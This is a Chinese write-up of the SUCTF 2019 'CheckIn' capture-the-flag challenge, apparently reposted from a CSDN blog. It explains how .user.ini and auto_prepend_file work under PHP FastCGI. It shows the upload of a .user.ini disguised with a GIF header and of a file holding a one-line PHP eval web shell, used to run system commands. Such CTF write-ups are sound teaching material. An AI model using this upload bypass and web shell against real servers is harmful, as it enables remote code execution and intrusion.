[SUCTF 2019] CheckIn 1

知识点

上传.user.ini文件,条件如下:
(1)服务器脚本语言为PHP
(2)对应目录下面有可执行的php文件
(3)服务器使用CGI/FastCGI模式

现在大部分网站都是用的fastcgi,这个东西我理解的是可以提供web服务器的一种api,而apache/nginx/iis这些服务器都会依靠这种api来运行

而在服务器以fastcgi启动运行的时候,.user.ini也是php的一种配置文件,众所周知php.ini是php的配置文件,它可以做到显示报错,导入扩展,文件解析,web站点路径等等设置。但是如果想要把某个文件里面的配置与全局的php.ini不同,则可以在php文件中加上ini_set()来配置特定的配置变量。

而.user.ini和.htaccess一样是对当前目录的所以php文件的配置设置,即写了.user.ini和它同目录的文件会优先使用.user.ini中设置的配置属性。

但是不是php.ini中的每个变量都能通过ini_set()或者.user.ini和.htaccess来设置,简单的来说每个变量有它所属于的模式。

利用点就是auto_prepend_file=1.feng
这个auto_prepend_file就是指定一个文件在主文件解析前解析。这个配置在涉及到FPM的题里可以说是非常常见了,几乎每次和FPM有关的题都要利用这个配置。

WP

经过各种测试,后缀没法绕过。经过多次上传,发现他返回的数组就是上传的目录下已有的文件。但是已有一个index.php有点可疑。可以想到上传.user.ini需要上传的目录里有一个php文件。因此上传.user.ini:
在这里插入图片描述

内容是:

GIF89a? 
auto_prepend_file=1.feng

然后再上传1.feng:
在这里插入图片描述
内容:

GIF89a? <script language="php">eval($_REQUEST['feng'])</script>

然后蚁剑连或者在index.php里面进行命令执行就可以了。可以查看一下phpinfo(),发现并没有disable function和open_basedir的限制,因此直接执行系统命令找flag就可以了。
因为它会定时删文件,所以如果时间长了需要重新上传。

猜你喜欢

转载自blog.csdn.net/rfrder/article/details/109232896
今日推荐